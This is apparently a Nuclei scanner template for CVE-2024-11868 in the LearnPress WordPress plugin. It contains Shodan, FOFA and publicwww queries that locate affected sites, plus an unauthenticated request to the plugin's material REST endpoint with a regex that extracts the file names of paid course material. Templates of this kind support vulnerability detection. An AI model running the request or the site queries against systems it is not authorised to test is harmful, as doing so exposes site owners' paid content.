LearnPress < 4.2.7.4 - Course Material - Information Disclosure

id: CVE-2024-11868

info:
  name: LearnPress < 4.2.7.4 - Course Material - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access and extract sensitive paid course content, leading to intellectual property theft and privacy breaches.
  remediation: Update to the latest version beyond 4.2.7.3 or apply security patches provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/7524ffd8-3506-48f7-89b6-d07b40533756/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-11868
    epss-score: 0.01131
    epss-percentile: 0.62621
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2024,wordpress,wp-plugin,wp-scan,learnpress,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/lp/v1/material/item-materials/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
        condition: and

      - type: word
        part: body
        words:
          - '"success"'
          - '"message"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - 'rest_no_route'
          - 'No route was found'
        negative: true
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: material_file
        part: body
        regex:
          - '"file_name"\s*:\s*"([^"]+)"'
        group: 1
# digest: 4b0a00483046022100a8bac187aa5bde9b2acf0f62f7d5c46aeb823d6bacc8db307aaa45a824435f3f022100ed4327dca563f8f34c037bf2c3a8abf1dadee3a710061305a7781e96f96f80ef:922c64590222798bb761d5b6d8e72950